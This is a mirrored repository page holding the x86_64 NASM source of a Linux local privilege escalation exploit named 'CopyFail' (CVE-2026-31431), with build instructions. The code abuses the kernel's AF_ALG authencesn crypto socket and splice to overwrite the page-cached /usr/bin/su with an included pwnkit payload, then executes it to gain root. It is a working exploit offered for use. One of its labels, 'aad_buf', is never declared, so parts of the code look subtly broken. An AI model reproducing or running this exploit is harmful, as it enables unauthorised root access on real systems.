mirror of
https://github.com/4xura/CVE-2026-31431-Copy-Fail.git
synced 2026-05-26 05:10:50 +00:00
344 lines
6.7 KiB
NASM
344 lines
6.7 KiB
NASM
; CopyFail CVE-2026-31431 Linux LPE exploit, x86_64 NASM version.
|
|
;
|
|
; Build:
|
|
; nasm -f elf64 exploit.asm -o exploit.o
|
|
; ld -o exploit_asm exploit.o
|
|
;
|
|
; Input:
|
|
; payload.pwnkit.elf must exist in the build directory. Generate it with the
|
|
; compact ELF carrier workflow from section 7.3.1.1.
|
|
|
|
BITS 64
|
|
global _start
|
|
|
|
%define SYS_write 1
|
|
%define SYS_open 2
|
|
%define SYS_close 3
|
|
%define SYS_pipe 22
|
|
%define SYS_socket 41
|
|
%define SYS_accept 43
|
|
%define SYS_recvfrom 45
|
|
%define SYS_sendmsg 46
|
|
%define SYS_bind 49
|
|
%define SYS_setsockopt 54
|
|
%define SYS_execve 59
|
|
%define SYS_exit 60
|
|
%define SYS_splice 275
|
|
|
|
%define AF_ALG 38
|
|
%define SOCK_SEQPACKET 5
|
|
%define SOL_ALG 279
|
|
%define ALG_SET_KEY 1
|
|
%define ALG_SET_IV 2
|
|
%define ALG_SET_OP 3
|
|
%define ALG_SET_AEAD_ASSOCLEN 4
|
|
%define ALG_SET_AEAD_AUTHSIZE 5
|
|
%define MSG_MORE 0x8000
|
|
|
|
%define O_RDONLY 0
|
|
%define RXBUF_SIZE 8192
|
|
|
|
section .text
|
|
|
|
_start:
|
|
lea rbx, [rel target_su]
|
|
|
|
; If argv[1] exists, treat it as the full target path.
|
|
mov rax, [rsp]
|
|
cmp rax, 2
|
|
jb .open_target
|
|
mov rbx, [rsp + 16]
|
|
|
|
.open_target:
|
|
lea rdi, [rel msg_target]
|
|
mov rsi, msg_target_len
|
|
call print
|
|
mov rdi, rbx
|
|
call puts
|
|
|
|
mov rax, SYS_open
|
|
mov rdi, rbx
|
|
mov rsi, O_RDONLY
|
|
xor rdx, rdx
|
|
syscall
|
|
call check
|
|
mov [file_fd], eax
|
|
|
|
xor r12, r12 ; payload offset
|
|
|
|
.patch_loop:
|
|
cmp r12, payload_len
|
|
jae .execute_target
|
|
|
|
call open_authencesn_socket
|
|
|
|
lea rsi, [rel payload]
|
|
add rsi, r12
|
|
call queue_aad
|
|
|
|
mov rdi, [file_fd]
|
|
mov rsi, [op_fd]
|
|
mov rdx, r12
|
|
call splice_target_window
|
|
|
|
mov rdi, [op_fd]
|
|
mov rsi, r12
|
|
call trigger_decrypt
|
|
|
|
mov rdi, [op_fd]
|
|
call close_fd
|
|
mov rdi, [tfm_fd]
|
|
call close_fd
|
|
|
|
add r12, 4
|
|
jmp .patch_loop
|
|
|
|
.execute_target:
|
|
mov rdi, [file_fd]
|
|
call close_fd
|
|
|
|
lea rdi, [rel msg_exec]
|
|
mov rsi, msg_exec_len
|
|
call print
|
|
|
|
mov rax, SYS_execve
|
|
mov rdi, rbx
|
|
lea rsi, [rel exec_argv]
|
|
xor rdx, rdx
|
|
syscall
|
|
jmp fatal
|
|
|
|
open_authencesn_socket:
|
|
mov rax, SYS_socket
|
|
mov rdi, AF_ALG
|
|
mov rsi, SOCK_SEQPACKET
|
|
xor rdx, rdx
|
|
syscall
|
|
call check
|
|
mov [tfm_fd], eax
|
|
|
|
mov rax, SYS_bind
|
|
mov edi, [tfm_fd]
|
|
lea rsi, [rel sockaddr_alg]
|
|
mov rdx, sockaddr_alg_len
|
|
syscall
|
|
call check
|
|
|
|
mov rax, SYS_setsockopt
|
|
mov edi, [tfm_fd]
|
|
mov rsi, SOL_ALG
|
|
mov rdx, ALG_SET_KEY
|
|
lea r10, [rel keyblob]
|
|
mov r8, keyblob_len
|
|
syscall
|
|
call check
|
|
|
|
mov rax, SYS_setsockopt
|
|
mov edi, [tfm_fd]
|
|
mov rsi, SOL_ALG
|
|
mov rdx, ALG_SET_AEAD_AUTHSIZE
|
|
xor r10, r10
|
|
mov r8, 4
|
|
syscall
|
|
call check
|
|
|
|
mov rax, SYS_accept
|
|
mov edi, [tfm_fd]
|
|
xor rsi, rsi
|
|
xor rdx, rdx
|
|
syscall
|
|
call check
|
|
mov [op_fd], eax
|
|
ret
|
|
|
|
; rsi = pointer to the next 4-byte payload chunk.
|
|
queue_aad:
|
|
mov dword [aad_buf], 0x41414141
|
|
mov eax, [rsi]
|
|
mov [aadaad_buf + 4], eax
|
|
|
|
lea rax, [rel aadaad_buf]
|
|
mov [iov], rax
|
|
mov qword [iov + 8], 8
|
|
|
|
mov qword [msg_hdr + 0], 0
|
|
mov dword [msg_hdr + 8], 0
|
|
lea rax, [rel iov]
|
|
mov qword [msg_hdr + 16], rax
|
|
mov qword [msg_hdr + 24], 1
|
|
lea rax, [rel cbuf]
|
|
mov qword [msg_hdr + 32], rax
|
|
mov qword [msg_hdr + 40], cbuf_len
|
|
mov dword [msg_hdr + 48], 0
|
|
|
|
mov qword [cbuf + 0], 20 ; CMSG_LEN(sizeof(uint32_t))
|
|
mov dword [cbuf + 8], SOL_ALG
|
|
mov dword [cbuf + 12], ALG_SET_OP
|
|
mov dword [cbuf + 16], 0 ; ALG_OP_DECRYPT
|
|
|
|
mov qword [cbuf + 24], 36 ; CMSG_LEN(sizeof(struct af_alg_iv)+16)
|
|
mov dword [cbuf + 32], SOL_ALG
|
|
mov dword [cbuf + 36], ALG_SET_IV
|
|
mov dword [cbuf + 40], 16 ; ivlen
|
|
mov qword [cbuf + 44], 0
|
|
mov qword [cbuf + 52], 0
|
|
|
|
mov qword [cbuf + 64], 20 ; CMSG_LEN(sizeof(uint32_t))
|
|
mov dword [cbuf + 72], SOL_ALG
|
|
mov dword [cbuf + 76], ALG_SET_AEAD_ASSOCLEN
|
|
mov dword [cbuf + 80], 8
|
|
|
|
mov rax, SYS_sendmsg
|
|
mov edi, [op_fd]
|
|
lea rsi, [rel msg_hdr]
|
|
mov rdx, MSG_MORE
|
|
syscall
|
|
call check
|
|
ret
|
|
|
|
; rdi = file fd, rsi = op fd, rdx = target offset.
|
|
splice_target_window:
|
|
mov [saved_op_fd], rsi
|
|
lea rax, [rdx + 4]
|
|
mov [splice_len], rax
|
|
mov qword [splice_off], 0
|
|
|
|
mov rax, SYS_pipe
|
|
lea rdi, [rel pipefd]
|
|
syscall
|
|
call check
|
|
|
|
mov rax, SYS_splice
|
|
mov rdi, [file_fd]
|
|
lea rsi, [rel splice_off]
|
|
mov edx, [pipefd + 4]
|
|
xor r10, r10
|
|
mov r8, [splice_len]
|
|
xor r9, r9
|
|
syscall
|
|
call check
|
|
|
|
mov rax, SYS_splice
|
|
mov edi, [pipefd]
|
|
xor rsi, rsi
|
|
mov rdx, [saved_op_fd]
|
|
xor r10, r10
|
|
mov r8, [splice_len]
|
|
xor r9, r9
|
|
syscall
|
|
call check
|
|
|
|
mov edi, [pipefd]
|
|
call close_fd
|
|
mov edi, [pipefd + 4]
|
|
call close_fd
|
|
ret
|
|
|
|
; rdi = op fd, rsi = target offset.
|
|
trigger_decrypt:
|
|
lea rdx, [rsi + 8]
|
|
cmp rdx, RXBUF_SIZE
|
|
ja fatal
|
|
|
|
mov rax, SYS_recvfrom
|
|
lea rsi, [rel rxbuf]
|
|
xor r10, r10
|
|
xor r8, r8
|
|
xor r9, r9
|
|
syscall
|
|
; Authentication failure is expected. Ignore recvfrom's return value.
|
|
ret
|
|
|
|
close_fd:
|
|
mov rax, SYS_close
|
|
syscall
|
|
ret
|
|
|
|
print:
|
|
mov rdx, rsi
|
|
mov rsi, rdi
|
|
mov rax, SYS_write
|
|
mov rdi, 1
|
|
syscall
|
|
ret
|
|
|
|
puts:
|
|
push rdi
|
|
xor rcx, rcx
|
|
.len:
|
|
cmp byte [rdi + rcx], 0
|
|
je .write
|
|
inc rcx
|
|
jmp .len
|
|
.write:
|
|
pop rdi
|
|
mov rsi, rcx
|
|
call print
|
|
lea rdi, [rel nl]
|
|
mov rsi, 1
|
|
call print
|
|
ret
|
|
|
|
check:
|
|
test rax, rax
|
|
js fatal
|
|
ret
|
|
|
|
fatal:
|
|
lea rdi, [rel msg_fail]
|
|
mov rsi, msg_fail_len
|
|
call print
|
|
mov rax, SYS_exit
|
|
mov rdi, 1
|
|
syscall
|
|
|
|
section .data
|
|
|
|
target_su db "/usr/bin/su", 0
|
|
exec_arg0 db "su", 0
|
|
exec_argv dq exec_arg0, 0
|
|
nl db 10
|
|
|
|
msg_target db "[+] target : "
|
|
msg_target_len equ $ - msg_target
|
|
msg_exec db "[+] payload staged into page cache, executing target...", 10
|
|
msg_exec_len equ $ - msg_exec
|
|
msg_fail db "[-] syscall failed", 10
|
|
msg_fail_len equ $ - msg_fail
|
|
|
|
sockaddr_alg:
|
|
dw AF_ALG
|
|
db "aead", 0, 0, 0, 0, 0, 0, 0, 0, 0, 0
|
|
dd 0
|
|
dd 0
|
|
db "authencesn(hmac(sha256),cbc(aes))", 0
|
|
times 64 - ($ - sockaddr_alg - 24) db 0
|
|
sockaddr_alg_len equ $ - sockaddr_alg
|
|
|
|
keyblob:
|
|
dw 8 ; rtattr.rta_len
|
|
dw 1 ; CRYPTO_AUTHENC_KEYA_PARAM
|
|
dd 0x10000000 ; htonl(16)
|
|
times 32 db 0
|
|
keyblob_len equ $ - keyblob
|
|
|
|
payload:
|
|
incbin "payload.pwnkit.elf"
|
|
payload_end:
|
|
times 3 db 0
|
|
payload_len equ payload_end - payload
|
|
|
|
section .bss
|
|
file_fd resq 1
|
|
tfm_fd resq 1
|
|
op_fd resq 1
|
|
saved_op_fd resq 1
|
|
pipefd resd 2
|
|
splice_off resq 1
|
|
splice_len resq 1
|
|
aadaad_buf resb 8
|
|
iov resq 2
|
|
msg_hdr resb 56
|
|
cbuf resb 88
|
|
cbuf_len equ 88
|
|
rxbuf resb RXBUF_SIZE
|